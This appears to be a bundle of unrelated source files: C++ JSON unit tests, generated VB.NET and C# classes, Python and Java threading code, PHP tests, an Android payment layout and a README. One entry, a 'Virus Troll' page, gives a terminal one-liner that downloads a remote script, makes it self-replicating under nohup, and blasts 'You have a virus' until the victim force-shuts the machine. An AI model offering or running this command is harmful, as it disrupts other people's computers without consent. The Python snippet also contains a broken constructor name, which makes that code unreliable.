text:
using namespace Tiny;

#include <string>
#include <list>
#include <unity.h>
#include "bourne/json.hpp"

void test_BranchImpl__class_is_assigned_from_json()
{

    bourne::json input =
    {
        "_class", "hello"
    };

    BranchImpl obj(input.dump());

    TEST_ASSERT_EQUAL_STRING("hello", obj.getClass().c_str());

}

void test_BranchImpl_displayName_is_assigned_from_json()
{

    bourne::json input =
    {
        "displayName", "hello"
    };

    BranchImpl obj(input.dump());

    TEST_ASSERT_EQUAL_STRING("hello", obj.getDisplayName().c_str());

}

void test_BranchImpl_estimatedDurationInMillis_is_assigned_from_json()
{
    bourne::json input =
    {
        "estimatedDurationInMillis", 1
    };

    BranchImpl obj(input.dump());

    TEST_ASSERT_EQUAL_INT(1, obj.getEstimatedDurationInMillis());

}

void test_BranchImpl_fullDisplayName_is_assigned_from_json()
{

    bourne::json input =
    {
        "fullDisplayName", "hello"
    };

    BranchImpl obj(input.dump());

    TEST_ASSERT_EQUAL_STRING("hello", obj.getFullDisplayName().c_str());

}

void test_BranchImpl_fullName_is_assigned_from_json()
{

    bourne::json input =
    {
        "fullName", "hello"
    };

    BranchImpl obj(input.dump());

    TEST_ASSERT_EQUAL_STRING("hello", obj.getFullName().c_str());

}

void test_BranchImpl_name_is_assigned_from_json()
{

    bourne::json input =
    {
        "name", "hello"
    };

    BranchImpl obj(input.dump());

    TEST_ASSERT_EQUAL_STRING("hello", obj.getName().c_str());

}

void test_BranchImpl_organization_is_assigned_from_json()
{

    bourne::json input =
    {
        "organization", "hello"
    };

    BranchImpl obj(input.dump());

    TEST_ASSERT_EQUAL_STRING("hello", obj.getOrganization().c_str());

}

void test_BranchImpl_weatherScore_is_assigned_from_json()
{
    bourne::json input =
    {
        "weatherScore", 1
    };

    BranchImpl obj(input.dump());

    TEST_ASSERT_EQUAL_INT(1, obj.getWeatherScore());

}

void test_BranchImpl_pullRequest_is_assigned_from_json()
{

    bourne::json input =
    {
        "pullRequest", "hello"
    };

    BranchImpl obj(input.dump());

    TEST_ASSERT_EQUAL_STRING("hello", obj.getPullRequest().c_str());

}

void test_BranchImpl__class_is_converted_to_json()
{

    bourne::json input =
    {
        "_class", "hello"
    };

    BranchImpl obj(input.dump());

    bourne::json output = bourne::json::object();

    output = obj.toJson();

    TEST_ASSERT(input["_class"] == output["_class"]);

}

void test_BranchImpl_displayName_is_converted_to_json()
{

    bourne::json input =
    {
        "displayName", "hello"
    };

    BranchImpl obj(input.dump());

    bourne::json output = bourne::json::object();

    output = obj.toJson();

    TEST_ASSERT(input["displayName"] == output["displayName"]);

}

void test_BranchImpl_estimatedDurationInMillis_is_converted_to_json()
{
    bourne::json input =
    {
        "estimatedDurationInMillis", 1
    };

    BranchImpl obj(input.dump());

    bourne::json output = bourne::json::object();

    output = obj.toJson();

    TEST_ASSERT(input["estimatedDurationInMillis"] == output["estimatedDurationInMillis"]);

}

void test_BranchImpl_fullDisplayName_is_converted_to_json()
{

    bourne::json input =
    {
        "fullDisplayName", "hello"
    };

    BranchImpl obj(input.dump());

    bourne::json output = bourne::json::object();

    output = obj.toJson();

    TEST_ASSERT(input["fullDisplayName"] == output["fullDisplayName"]);

}

void test_BranchImpl_fullName_is_converted_to_json()
{

    bourne::json input =
    {
        "fullName", "hello"
    };

    BranchImpl obj(input.dump());

    bourne::json output = bourne::json::object();

    output = obj.toJson();

    TEST_ASSERT(input["fullName"] == output["fullName"]);

}

void test_BranchImpl_name_is_converted_to_json()
{

    bourne::json input =
    {
        "name", "hello"
    };

    BranchImpl obj(input.dump());

    bourne::json output = bourne::json::object();

    output = obj.toJson();

    TEST_ASSERT(input["name"] == output["name"]);

}

void test_BranchImpl_organization_is_converted_to_json()
{

    bourne::json input =
    {
        "organization", "hello"
    };

    BranchImpl obj(input.dump());

    bourne::json output = bourne::json::object();

    output = obj.toJson();

    TEST_ASSERT(input["organization"] == output["organization"]);

}

void test_BranchImpl_weatherScore_is_converted_to_json()
{
    bourne::json input =
    {
        "weatherScore", 1
    };

    BranchImpl obj(input.dump());

    bourne::json output = bourne::json::object();

    output = obj.toJson();

    TEST_ASSERT(input["weatherScore"] == output["weatherScore"]);

}

void test_BranchImpl_pullRequest_is_converted_to_json()
{

    bourne::json input =
    {
        "pullRequest", "hello"
    };

    BranchImpl obj(input.dump());

    bourne::json output = bourne::json::object();

    output = obj.toJson();

    TEST_ASSERT(input["pullRequest"] == output["pullRequest"]);

}


text:
Namespace Cisco

	''' Voltage Monitor
	''' <autogenerated>Generated from a T4 template. Modifications will be lost, if applicable use a partial class instead.</autogenerated>
	''' <generator-date>08/02/2014 18:05:10</generator-date>
	''' <generator-functions>1</generator-functions>
	''' <generator-source>Caerus\_Cisco\Generated\VoltageMonitor.tt</generator-source>
	''' <generator-template>Text-Templates\Classes\VB_Object.tt</generator-template>
	''' <generator-version>1</generator-version>
	<System.CodeDom.Compiler.GeneratedCode("Caerus\_Cisco\Generated\VoltageMonitor.tt", "1")> _
	<System.Serializable()> _
	Partial Public Class VoltageMonitor
		Inherits System.Object
		Implements System.IComparable
		Implements System.IFormattable
		Implements System.Xml.Serialization.IXmlSerializable

		#Region " Public Constructors "

			''' Default Constructor
			Public Sub New()

				MyBase.New()

			End Sub

			''' Parametered Constructor (1 Parameters)
			Public Sub New( _
				ByVal _Index As System.Int32 _
			)

				MyBase.New()

				Index = _Index

			End Sub

			''' Parametered Constructor (2 Parameters)
			Public Sub New( _
				ByVal _Index As System.Int32, _
				ByVal _Description As System.String _
			)

				MyBase.New()

				Index = _Index
				Description = _Description

			End Sub

			''' Parametered Constructor (3 Parameters)
			Public Sub New( _
				ByVal _Index As System.Int32, _
				ByVal _Description As System.String, _
				ByVal _State As EnvironmentalMonitoringState _
			)

				MyBase.New()

				Index = _Index
				Description = _Description
				State = _State

			End Sub

		#End Region

		#Region " Class Plumbing/Interface Code "

			#Region " IComparable Implementation "

				#Region " Public Methods "

					''' Comparison Method
					Public Overridable Function IComparable_CompareTo( _
						ByVal value As System.Object _
					) As System.Int32 Implements System.IComparable.CompareTo

						Dim typed_Value As VoltageMonitor = TryCast(value, VoltageMonitor)

						If typed_Value Is Nothing Then

							Throw New ArgumentException(String.Format("Value is not of comparable type: {0}", value.GetType.Name), "Value")

						Else

							Dim return_Value As Integer = 0

							return_Value = Index.CompareTo(typed_Value.Index)
							If return_Value <> 0 Then Return return_Value

							Return return_Value

						End If

					End Function

				#End Region

			#End Region

			#Region " IFormattable Implementation "

				#Region " Public Constants "

					''' Public Shared Reference to the Name of the Property: AsString
					''' <remarks></remarks>
					Public Const PROPERTY_ASSTRING As String = "AsString"

				#End Region

				#Region " Public Properties "

					'''
					''' <remarks></remarks>
					Public ReadOnly Property AsString() As System.String
						Get
							Return Me.ToString()
						End Get
					End Property

				#End Region

				#Region " Public Shared Methods "

					Public Shared Function ToString_default( _
						ByVal Description As System.String _
					) As String

						Return String.Format( _
							"{0}", _
							Description)

					End Function

				#End Region

				#Region " Public Methods "

					Public Overloads Overrides Function ToString() As String

						Return Me.ToString(String.Empty, Nothing)

					End Function

					Public Overloads Function ToString( _
						ByVal format As String _
					) As String

						If String.IsNullOrEmpty(format) OrElse String.Compare(format, "default", True) = 0 Then

							Return ToString_default( _
								Description _
							)

						End If

						Return String.Empty

					End Function

					Public Overloads Function ToString( _
						ByVal format As String, _
						ByVal formatProvider As System.IFormatProvider _
					) As String Implements System.IFormattable.ToString

						If String.IsNullOrEmpty(format) OrElse String.Compare(format, "default", True) = 0 Then

							Return ToString_default( _
								Description _
							)

						End If

						Return String.Empty

					End Function

				#End Region

			#End Region

			#Region " IXmlSerialisable Implementation "

				#Region " Public Methods "

					''' Method to Return Schema Depicting Object/Class
					''' <remarks></remarks>
					Public Function IXmlSerialisable_GetSchema() As System.Xml.Schema.XmlSchema Implements System.Xml.Serialization.IXmlSerializable.GetSchema
						Return Leviathan.Configuration.XmlSerialiser.GenerateSchema(Me.GetType)
					End Function

					'''
					''' <remarks></remarks>
					Public Sub IXmlSerialisable_ReadXml( _
						ByVal reader As System.Xml.XmlReader _
					) Implements System.Xml.Serialization.IXmlSerializable.ReadXml
						Leviathan.Configuration.XmlSerialiser.ReadXml(Me, reader)
					End Sub

					'''
					''' <remarks></remarks>
					Public Sub IXmlSerialisable_WriteXml( _
						ByVal writer As System.Xml.XmlWriter _
					) Implements System.Xml.Serialization.IXmlSerializable.WriteXml
						Leviathan.Configuration.XmlSerialiser.WriteXml(Me, writer)
					End Sub

				#End Region

			#End Region

		#End Region

		#Region " Public Constants "

			''' Public Shared Reference to the Name of the Property: Index
			''' <remarks></remarks>
			Public Const PROPERTY_INDEX As String = "Index"

			''' Public Shared Reference to the Name of the Property: Description
			''' <remarks></remarks>
			Public Const PROPERTY_DESCRIPTION As String = "Description"

			''' Public Shared Reference to the Name of the Property: State
			''' <remarks></remarks>
			Public Const PROPERTY_STATE As String = "State"

		#End Region

		#Region " Private Variables "

			''' Private Data Storage Variable for Property: Index
			''' <remarks></remarks>
			Private m_Index As System.Int32

			''' Private Data Storage Variable for Property: Description
			''' <remarks></remarks>
			Private m_Description As System.String

			''' Private Data Storage Variable for Property: State
			''' <remarks></remarks>
			Private m_State As EnvironmentalMonitoringState

		#End Region

		#Region " Public Properties "

			''' Provides Access to the Property: Index
			''' <remarks></remarks>
			<System.Xml.Serialization.XmlElement(ElementName:="Index")> _
			Public Property Index() As System.Int32
				Get
					Return m_Index
				End Get
				Set(value As System.Int32)
					m_Index = value
				End Set
			End Property

			''' Provides Access to the Property: Description
			''' <remarks></remarks>
			<System.Xml.Serialization.XmlElement(ElementName:="Description")> _
			Public Property Description() As System.String
				Get
					Return m_Description
				End Get
				Set(value As System.String)
					m_Description = value
				End Set
			End Property

			''' Provides Access to the Property: State
			''' <remarks></remarks>
			<System.Xml.Serialization.XmlElement(ElementName:="State")> _
			Public Property State() As EnvironmentalMonitoringState
				Get
					Return m_State
				End Get
				Set(value As EnvironmentalMonitoringState)
					m_State = value
				End Set
			End Property

		#End Region

	End Class

End Namespace

redpajama_set_name: RedPajamaGithub


text:
using System;
using System.Collections.Generic;
using System.Dynamic;
using System.Linq;
using Frapid.Config.DataAccess;
using Frapid.DataAccess;
using Frapid.DataAccess.Models;
using CustomField = Frapid.DataAccess.Models.CustomField;

namespace Frapid.Config.Api.Fakes
{
    public class AccessTypeRepository : IAccessTypeRepository
    {
        public long Count()
        {
            return 1;
        }

        public IEnumerable<Frapid.Config.Entities.AccessType> GetAll()
        {
            return Enumerable.Repeat(new Frapid.Config.Entities.AccessType(), 1);
        }

        public IEnumerable<dynamic> Export()
        {
            return Enumerable.Repeat(new Frapid.Config.Entities.AccessType(), 1);
        }

        public Frapid.Config.Entities.AccessType Get(int accessTypeId)
        {
            return new Frapid.Config.Entities.AccessType();
        }

        public IEnumerable<Frapid.Config.Entities.AccessType> Get(int[] accessTypeIds)
        {
            return Enumerable.Repeat(new Frapid.Config.Entities.AccessType(), 1);
        }

        public Frapid.Config.Entities.AccessType GetFirst()
        {
            return new Frapid.Config.Entities.AccessType();
        }

        public Frapid.Config.Entities.AccessType GetPrevious(int accessTypeId)
        {
            return new Frapid.Config.Entities.AccessType();
        }

        public Frapid.Config.Entities.AccessType GetNext(int accessTypeId)
        {
            return new Frapid.Config.Entities.AccessType();
        }

        public Frapid.Config.Entities.AccessType GetLast()
        {
            return new Frapid.Config.Entities.AccessType();
        }

        public IEnumerable<Frapid.Config.Entities.AccessType> GetPaginatedResult()
        {
            return Enumerable.Repeat(new Frapid.Config.Entities.AccessType(), 1);
        }

        public IEnumerable<Frapid.Config.Entities.AccessType> GetPaginatedResult(long pageNumber)
        {
            return Enumerable.Repeat(new Frapid.Config.Entities.AccessType(), 1);
        }

        public long CountWhere(List<Frapid.DataAccess.Models.Filter> filters)
        {
            return 1;
        }

        public IEnumerable<Frapid.Config.Entities.AccessType> GetWhere(long pageNumber, List<Frapid.DataAccess.Models.Filter> filters)
        {
            return Enumerable.Repeat(new Frapid.Config.Entities.AccessType(), 1);
        }

        public long CountFiltered(string filterName)
        {
            return 1;
        }

        public List<Frapid.DataAccess.Models.Filter> GetFilters(string catalog, string filterName)
        {
            return Enumerable.Repeat(new Frapid.DataAccess.Models.Filter(), 1).ToList();
        }

        public IEnumerable<Frapid.Config.Entities.AccessType> GetFiltered(long pageNumber, string filterName)
        {
            return Enumerable.Repeat(new Frapid.Config.Entities.AccessType(), 1);
        }

        public IEnumerable<Frapid.DataAccess.Models.DisplayField> GetDisplayFields()
        {
            return Enumerable.Repeat(new DisplayField(), 1);
        }

        public IEnumerable<Frapid.DataAccess.Models.CustomField> GetCustomFields()
        {
            return Enumerable.Repeat(new CustomField(), 1);
        }

        public IEnumerable<Frapid.DataAccess.Models.CustomField> GetCustomFields(string resourceId)
        {
            return Enumerable.Repeat(new CustomField(), 1);
        }

        public object AddOrEdit(dynamic accessType, List<Frapid.DataAccess.Models.CustomField> customFields)
        {
            return true;
        }

        public void Update(dynamic accessType, int accessTypeId)
        {
            if (accessTypeId > 0)
            {
                return;
            }

            throw new ArgumentException("accessTypeId is null.");
        }

        public object Add(dynamic accessType)
        {
            return true;
        }

        public List<object> BulkImport(List<ExpandoObject> accessTypes)
        {
            return Enumerable.Repeat(new object(), 1).ToList();
        }

        public void Delete(int accessTypeId)
        {
            if (accessTypeId > 0)
            {
                return;
            }

            throw new ArgumentException("accessTypeId is null.");
        }

    }
}


text:
import threading
import time

exit_Flag = 0

class myThread (threading.Thread):
    def _init__(self, threadID, name, counter):
        threading.Thread._init__(self)
        self.threadID = threadID
        self.name = name
        self.counter = counter
    def run(self):
        print ("Starting " + self.name + "\n")
        print_time(self.name, self.counter, 5)
        print ("Exiting " + self.name + "\n")

def print_time(threadName, delay, counter):
    while counter:
        if exit_Flag:
            thread.exit()
        time.sleep(delay)
        print ("%s: %s" % (threadName, time.ctime(time.time())))
        counter -= 1

#Main program
if __name__ == '__main__':
    # Create two threads
    thread1 = myThread(1, "Thread-1", 1)
    thread2 = myThread(2, "Thread-2", 2)

    # Start the Threads created
    thread1.start()
    thread2.start()

    # Wait for all thread to complete
    thread1.join()
    thread2.join()

    print ("Exiting Main Thread")


text:
<?php

namespace Gourmet\Liquid\Test\View;

use Cake\Controller\Controller;
use Cake\Network\Request;
use Cake\Network\Response;
use Cake\ORM\Entity;
use Cake\TestSuite\TestCase;
use Gourmet\Liquid\View\LiquidView;

class Post extends Entity
{

    protected $_virtual = ['url'];

    protected function _getUrl()
    {
        return '/posts/' . $this->_properties['id'];
    }

    protected function _getEditUrl()
    {
        return '/posts/edit/' . $this->_properties['id'];
    }
}

class ViewTest extends TestCase
{

    public function testRender()
    {
        // @codingStandardsIgnoreStart
        $products = [
            [
                'name' => 'CakeFest',
                'price' => 299.00,
                'description' => 'Every summer we hold our annual conference dedicated to CakePHP. For the past 9 years, the framework has been a benchmark for PHP development, providing developers with a full MVC stack solution to build powerful applications which scale. This, coupled with the amazing community backing and thousands of plugins, makes CakePHP the number one choice for those who love code.',
            ],
            [
                'name' => 'cake workshop',
                'price' => 199.00,
                'description' => 'Workshop sessions at CakeFest are an ideal way to learn as a beginner with CakePHP, and a great way to get up to speed with the latest versions and innovations within the framework. All this, directly from the core developers themselves!',
            ],
        ];
        // @codingStandardsIgnoreEnd

        $output = $this->_render(
            'Products',
            'index',
            'default',
            compact('products')
        );

        $strings = [
            '
CakeFest
', '$299', substr($products[0]['description'], 0, 100) . '...',
            '
Cake Workshop
', '$199', substr($products[1]['description'], 0, 100) . '...',
        ];

        foreach ($strings as $string) {
            $this->assertContains($string, $output);
        }
    }

    public function testRenderFromStringViewAndLayout()
    {
        $output = $this->_render(
            'Accounts',
            'Hello {{ name }}',
            "{{ 'content' | fetch }}\n\nThis email was sent automatically.",
            ['name' => 'Baker']
        );

        $expected = "Hello Baker\n\nThis email was sent automatically.";
        $this->assertEquals($expected, $output);
    }

    public function testRenderFromStringViewAndFileLayout()
    {
        $output = $this->_render(
            'Accounts',
            'Hello {{ name }}',
            'default',
            ['name' => 'Baker']
        );

        $expected = "Hello Baker\n\nThis email was sent automatically.\n";
        $this->assertEquals($expected, $output);
    }

    public function testRenderEntityObject()
    {
        $data = [['id' => 1, 'title' => 'foo', 'desc' => 'bar']];
        $post = $this->getMock('\Gourmet\Liquid\Test\View\Post', null, $data);

        $output = $this->_render(
            'Posts',
            // @codingStandardsIgnoreStart
            '
{{ post.title }}
{% if post.edit_url %}edit{% endif %}',
            // @codingStandardsIgnoreEnd
            "{{ 'content' | fetch }}",
            compact('post')
        );

        $expected = '
foo
';
        $this->assertEquals($expected, $output);

        $post->virtualProperties(['edit_url', 'url']);

        $output = $this->_render(
            'Posts',
            // @codingStandardsIgnoreStart
            '
{{ post.title }}
{% if post.edit_url %}edit{% endif %}',
            // @codingStandardsIgnoreEnd
            "{{ 'content' | fetch }}",
            compact('post')
        );

        $expected = '
foo
edit';
        $this->assertEquals($expected, $output);
    }

    protected function _render($name, $view, $layout, $viewVars)
    {
        $request = new Request();
        $response = new Response();
        $controller = new Controller($request, $response);
        $controller->name = $name;
        $controller->layout = $layout;
        $controller->viewPath = $name;
        $controller->viewClass = 'Gourmet\Liquid\View\View';
        $controller->set($viewVars);

        return $controller->createView()->render($view);
    }
}


text:
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    android:orientation="vertical" xmlns:app="http://schemas.android.com/apk/res-auto">

    <LinearLayout
        android:layout_width="fill_parent"
        android:layout_height="fill_parent"
        android:orientation="horizontal"
        android:paddingLeft="8dp">

        <!-- The left region -->
        <RelativeLayout
            android:layout_width="156dp"
            android:layout_height="fill_parent"
            android:orientation="vertical"
            android:background="@drawable/dk_landscape_bg_info">

            <!-- The payment card region -->
            <RelativeLayout
                android:layout_width="fill_parent"
                android:layout_height="fill_parent"
                android:orientation="vertical"
                android:paddingLeft="8dp"
                android:paddingRight="8dp"
                android:layout_marginTop="12dp"
                android:layout_above="@+id/dk_layout_baidu_logo">

                <LinearLayout
                    android:id="@+id/dk_layout_payment_desc"
                    android:layout_width="fill_parent"
                    android:layout_height="wrap_content"
                    android:orientation="vertical"
                    android:layout_alignParentTop="true">

                    <LinearLayout
	                    android:layout_width="fill_parent"
	                    android:layout_height="wrap_content"
	                    android:orientation="vertical">

                    	<TextView
	                        android:id="@+id/dk_text_view_other_pay"
							android:layout_width="fill_parent"
					    	android:layout_height="32dp"
					    	android:textSize="14sp"
					    	android:gravity="center"
					    	android:textColor="#ffffffff"
					    	android:text="@string/dk_mo9_card"
					    	android:background="@drawable/dk_selector_info" />
	             	</LinearLayout>

                    <LinearLayout
                        android:visibility="gone"
                        android:id="@+id/dk_layout_security_desc"
	                    android:layout_width="fill_parent"
	                    android:layout_height="wrap_content"
	                    android:orientation="horizontal"
	                    android:layout_marginTop="8dp"
	                    android:gravity="center_vertical">

                	    <ImageView
                	        android:layout_width="wrap_content"
                	        android:layout_height="wrap_content"
                	        android:src="@drawable/dk_ic_credit_card_tip"/>

                    	<TextView
	                        android:layout_width="wrap_content"
	                    	android:layout_height="wrap_content"
	                   	 	android:layout_gravity="center"
	                   	 	android:layout_marginTop="4dp"
	                   	 	android:layout_marginBottom="4dp"
	                   	 	android:textColor="@color/dk_color_61B11F"
	                    	android:textSize="@dimen/text_size_12_sp"
	                    	android:text="@string/dk_tip_credit_security"/>
                	</LinearLayout>

	                <LinearLayout
	                    android:visibility="gone"
	                    android:id="@+id/dk_layout_pay_desc"
	                 	android:layout_width="fill_parent"
	                 	android:layout_height="wrap_content"
	                 	android:orientation="horizontal"
	                 	android:layout_marginTop="8dp">

	                    <TextView
	                        android:id="@+id/dk_text_view_pay_desc"
	                        android:layout_width="wrap_content"
	                    	android:layout_height="wrap_content"
	                   	 	android:textColor="#666666"
	                    	android:textSize="@dimen/text_size_12_sp"
	                    	android:text="@string/dk_tip_pay_desc"/>
	             	</LinearLayout>
                </LinearLayout>

                <RelativeLayout
                    android:layout_width="fill_parent"
                    android:layout_height="wrap_content"
                    android:layout_marginBottom="12dp"
                    android:orientation="vertical"
                    android:layout_alignParentBottom="true"
                    android:layout_below="@+id/dk_layout_payment_desc">

	                <LinearLayout
	                    android:visibility="gone"
	                    android:id="@+id/dk_layout_support_bank"
	                    android:layout_width="fill_parent"
	                    android:layout_height="32dp"
	                    android:orientation="vertical"
	                    android:gravity="center_vertical"
	                    android:layout_alignParentBottom="true"
	                    android:background="@drawable/dk_bg_support_bank" >

	                    <TextView
	                        android:id="@+id/dk_text_view_support_bank"
	                        android:layout_width="wrap_content"
	                        android:layout_height="wrap_content"
	                        android:layout_gravity="center"
	                        android:layout_marginBottom="4dp"
	                        android:layout_marginTop="4dp"
	                        android:text="@string/dk_tip_support_bank"
	                        android:textColor="#666666"
	                        android:textSize="@dimen/text_size_14_sp" />
	                </LinearLayout>
                </RelativeLayout>
             </RelativeLayout>
             <!-- The payment card region end -->

             <!-- The bottom logo region -->
             <LinearLayout
                 android:id="@+id/dk_layout_baidu_logo"
                 android:layout_width="fill_parent"
                 android:layout_height="54dp"
                 android:orientation="vertical"
                 android:gravity="center"
                 android:layout_alignParentBottom="true">

             	<ImageView
			        android:id="@+id/dk_image_view_divider_bottom"
			        android:layout_width="fill_parent"
			        android:layout_height="2px"
			        android:background="@drawable/dk_divider"/>

             	<ImageView
		            android:layout_width="66dp"
		            android:layout_height="22dp"
		            android:layout_marginTop="4dp"
		            android:background="@drawable/dk_logo_baidu" />

                    <TextView
				        android:id="@+id/tv_customer_number"
				        android:layout_width="fill_parent"
				        android:layout_height="fill_parent"
				        android:layout_marginTop="4dp"
				        android:textColor="#838383"
				        android:textSize="14sp"
				        android:gravity="center_horizontal|center_vertical"
				        android:layout_gravity="center_horizontal"
				        android:text="@string/dk_customer_service_number" />
            </LinearLayout>
            <!-- The bottom logo region end -->
        </RelativeLayout>
        <!-- The left region end -->

        <!-- The right region -->
        <ScrollView
            android:id="@+id/dk_pay_other_scroll_view"
            android:layout_width="fill_parent"
            android:layout_height="fill_parent"
            android:fadeScrollbars="false"
            android:scrollbarStyle="insideOverlay"
            android:scrollbarThumbVertical="@drawable/dk_scrollbar_gray">

            <LinearLayout
	            android:id="@+id/dk_layout_other_payment"
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:orientation="vertical"
                android:paddingTop="12dp"
                android:paddingLeft="8dp"
            	android:paddingRight="11dp">

	            <LinearLayout
	                android:layout_width="fill_parent"
	                android:layout_height="wrap_content"
	                android:orientation="horizontal">

	                <TextView
	                    android:id="@+id/dk_tv_tip_select_title"
		                android:layout_width="wrap_content"
		                android:layout_height="wrap_content"
		                android:textColor="#333333"
		                android:textSize="@dimen/text_size_14_sp"
		                android:text="@string/dk_tip_choose_recharge_amount"/>

	                <TextView
	                    android:id="@+id/dk_tv_tip_select_content"
	                    android:layout_width="wrap_content"
	                    android:layout_height="wrap_content"
	                    android:textColor="#ff3300"
	                    android:textSize="@dimen/text_size_14_sp"
	                    android:text="@string/dk_tip_choose_recharge_ratio" />
	            </LinearLayout>

	            <LinearLayout
	                android:id="@+id/dk_layout_amout_other_panel"
	                android:layout_width="fill_parent"
	                android:layout_height="wrap_content"
	                android:orientation="vertical"
	                android:layout_marginTop="8dp">

	                <com.duoku.platform.view.common.DKFlowLayout
	                    android:id="@+id/dk_layout_line_feed_panel"
	                    android:layout_width="fill_parent"
	                    android:layout_height="wrap_content"
	                    android:focusable="true"
	                    android:focusableInTouchMode="true">

	                </com.duoku.platform.view.common.DKFlowLayout>
	            </LinearLayout>

	            <LinearLayout
	                android:id="@+id/dk_layout_other_amount"
		            android:layout_width="fill_parent"
		            android:layout_height="wrap_content"
		            android:orientation="vertical"
		            android:layout_marginTop="12dp" >

		            <EditText
		                android:id="@+id/dk_et_other_number"
	                    android:layout_width="fill_parent"
	                    android:layout_height="36dp"
	                    android:gravity="center_vertical"
	                    android:inputType="number"
	                    android:textColor="#333333"
	                    android:focusable="true"
	                    android:focusableInTouchMode="true"
	                    android:hint="@string/dk_hint_for_alipay"
	                    android:textSize="@dimen/text_size_14_sp"
	                    android:background="@drawable/dk_payment_edittext_selector">
	                 </EditText>
		        </LinearLayout>

	            <LinearLayout
	                android:layout_width="fill_parent"
		            android:layout_height="wrap_content"
		            android:orientation="horizontal"
		            android:layout_marginTop="12dp" >

	                <Button
	                    android:id="@+id/dk_btn_other_card_pay"
	                    android:layout_width="0dp"
	                    android:layout_height="36dp"
	                    android:gravity="center"
	                    android:textColor="#ffffff"
	                    android:layout_weight="1"
	                    android:text="@string/dk_btn_next_step"
	                    android:textSize="@dimen/text_size_16_sp"
	                    android:background="@drawable/dk_payment_btn_pay_selector" />
	             </LinearLayout>
	        </LinearLayout>
        </ScrollView>
        <!-- The right region end -->
     </LinearLayout>
</RelativeLayout>


text:
    <link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'>
    <link href='/style.css' rel='stylesheet' type='text/css'>
    <title>Virus Troll</title>

Virus Troll

This script trolls people by making their computer say "You have a virus" at max volume, and it self-replicates.

      The only way to end it is to force shutdown the computer, or to somehow use Terminal to killall sh.

      Copy and paste the following into your terminal:

      curl "https://raw.githubusercontent.com/itrolledu/itrolledu.github.io/master/mac/vtroll/dl" -o "trolling"; tr -d '\r' < trolling >trollingnl; echo "#\!/bin/bash\nnohup sh -c '$PWD/trollingnl' &">>child;chmod +x ./child;chmod +x ./trollingnl; rm -rf trolling; nohup sh -c '$PWD/trollingnl 1' &

      For more information, click here.


text:
package org.apache.stratos.common.threading;

import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;

import java.util.Map;
import java.util.concurrent.*;

/**
 * Utility class for Stratos thread pool
 */
public class StratosThreadPool {

    private static final Log log = LogFactory.getLog(StratosThreadPool.class);

    private static volatile Map<String, ExecutorService> executorServiceMap = new ConcurrentHashMap<>();
    private static volatile Map<String, ScheduledExecutorService> scheduledServiceMap = new ConcurrentHashMap<>();
    private static Object executorServiceMapLock = new Object();
    private static Object scheduledServiceMapLock = new Object();

    /**
     * Return the executor service based on the identifier and thread pool size
     *
     * @param identifier     Thread pool identifier name
     * @param threadPoolSize Thread pool size
     * @return ExecutorService
     */
    public static ExecutorService getExecutorService(String identifier, int threadPoolSize) {
        ExecutorService executorService = executorServiceMap.get(identifier);
        if (executorService == null) {
            synchronized (executorServiceMapLock) {
                if (executorService == null) {
                    executorService = Executors.newFixedThreadPool(threadPoolSize);
                    executorServiceMap.put(identifier, executorService);
                    log.info(String.format("Thread pool created: [type] Executor Service [id] %s [size] %d", identifier, threadPoolSize));
                }
            }
        }
        return executorService;
    }

    /**
     * Returns a scheduled executor for given thread pool size.
     *
     * @param identifier     Thread pool identifier name
     * @param threadPoolSize Thread pool size
     * @return
     */
    public static ScheduledExecutorService getScheduledExecutorService(String identifier, int threadPoolSize) {
        ScheduledExecutorService scheduledExecutorService = scheduledServiceMap.get(identifier);
        if (scheduledExecutorService == null) {
            synchronized (scheduledServiceMapLock) {
                if (scheduledExecutorService == null) {
                    scheduledExecutorService = Executors.newScheduledThreadPool(threadPoolSize);
                    scheduledServiceMap.put(identifier, scheduledExecutorService);
                    log.info(String.format("Thread pool created: [type] Scheduled Executor Service [id] %s [size] %d",
                            identifier, threadPoolSize));
                }
            }

        }
        return scheduledExecutorService;
    }

    public static void shutdown (String identifier) {

        ExecutorService executorService = executorServiceMap.get(identifier);
        if (executorService == null) {
            log.warn("No executor service found for id " + identifier + ", unable to shut down");
            return;
        }

        // try to shut down gracefully
        executorService.shutdown();
        // wait 10 secs till terminated
        try {
            if (!executorService.awaitTermination(10, TimeUnit.SECONDS)) {
                log.info("Thread Pool [id] " + identifier + " did not finish all tasks before " +
                        "timeout, forcefully shutting down");
                executorService.shutdownNow();
            }
        } catch (InterruptedException e) {
            // interrupted, shutdown now
            executorService.shutdownNow();
        }

        // remove from the map
        executorServiceMap.remove(identifier);

        log.info("Successfully shutdown thread pool associated with id: " + identifier);
    }
}


text:
Provides a set of patches for common Node.js modules to publish instrumentation
data to the [diagnostic-channel](https://github.com/Microsoft/node-diagnostic-channel) channel.

## Currently-supported modules
* [`redis`](https://github.com/NodeRedis/node_redis) v2.x
* [`mysql`](https://github.com/mysqljs/mysql) v2.x
* [`mongodb`](https://github.com/mongodb/node-mongodb-native) v2.x, v3.x
* [`pg`](https://github.com/brianc/node-postgres) v6.x, v7.x
* [`pg-pool`](https://github.com/brianc/node-pg-pool) v1.x, v2.x
* [`bunyan`](https://github.com/trentm/node-bunyan) v1.x
* [`winston`](https://github.com/winstonjs/winston) v2.x, v3.x

## Release notes
### 0.3.3 - August 15, 2019
* Fix patching issue with new [mongodb@3.3.0+](https://github.com/mongodb/node-mongodb-native/releases/tag/v3.3.0) driver

### 0.3.2 - May 13, 2019
* Fix issue with colorized Winston logging levels
* Support new Winston [child loggers](https://github.com/winstonjs/winston/pull/1471) (`winston@3.2.0+`)

### 0.3.1 - April 22, 2019
* Changed semver for mysql patching to `mysql@2.x`

### 0.3.0 - February 19th, 2019
* Added patching for `pg@7.x`, `pg-pool@2.x`
* Added patching for `mysql@2.16.x`
* Added patching for `winston@3.x`
* Added patching for `mongodb@3.x`

### 0.2.0 - August 18th, 2017
* Added patching for `pg`, `pg-pool`, and `winston` modules
* Updated build output to use `dist/` folder instead of `.dist/`
(fixes [#256](https://github.com/Microsoft/ApplicationInsights-node.js/issues/256))


text:
<?php

namespace RoyalMail;

if (! defined('MODULE_ROOT')) define('MODULE_ROOT', dirname(__FILE__) . '/../');

// These are used to provide (fast) canned responses when developing using the supplied sample responses.
define('STATIC_RESPONSE_DIRECTORY', MODULE_ROOT . 'reference/responses');
